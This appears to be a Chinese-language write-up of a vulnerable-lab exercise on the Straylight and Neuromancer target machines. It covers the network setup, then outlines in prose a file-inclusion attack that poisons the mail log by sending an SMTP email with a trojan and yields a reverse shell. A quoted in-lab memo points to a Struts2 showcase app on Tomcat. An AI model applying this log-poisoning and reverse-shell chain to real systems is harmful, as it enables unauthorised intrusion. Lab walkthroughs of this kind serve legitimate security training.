两个靶机，做网络隔离
STRAYLIGHT 一张网卡桥接，另一张仅主机模式，桥接网卡时，可能有点问题，重选一下网卡就好了
Kali做桥接网卡
NEUROMANCER 仅主机
kali和NEUROMANCER网络不联通

进入后发现，存在文件包含漏洞，但只能包含日志文件
本地存在molly.log日志文件
包含本地日志
前面端口扫描扫到smtp开放，想到邮件日志，进行包含，发现包含成功
于是使用smpt发送带有木马的邮件，在结合文件包含邮件日志，获得反弹shell

Devs,
Lady 3Jane has asked us to create a custom java app on Neuromancer's primary server to help her interact w/ the AI via a web-based GUI.
The engineering team couldn't strss enough how risky that is, opening up a Super AI to remote access on the Freeside network. It is within out internal admin network, but still, it should be off the network completely. For the sake of humanity, user access should only be allowed via the physical console...who knows what this thing can do.
Anyways, we've deployed the war file on tomcat as ordered - located here:
/struts2_2.3.15.1-showcase
It's ready for the devs to customize to her liking...I'm stating the obvious, but make sure to secure this thing.
Regards,
Bob Laugh
Turing Systems Engineer II
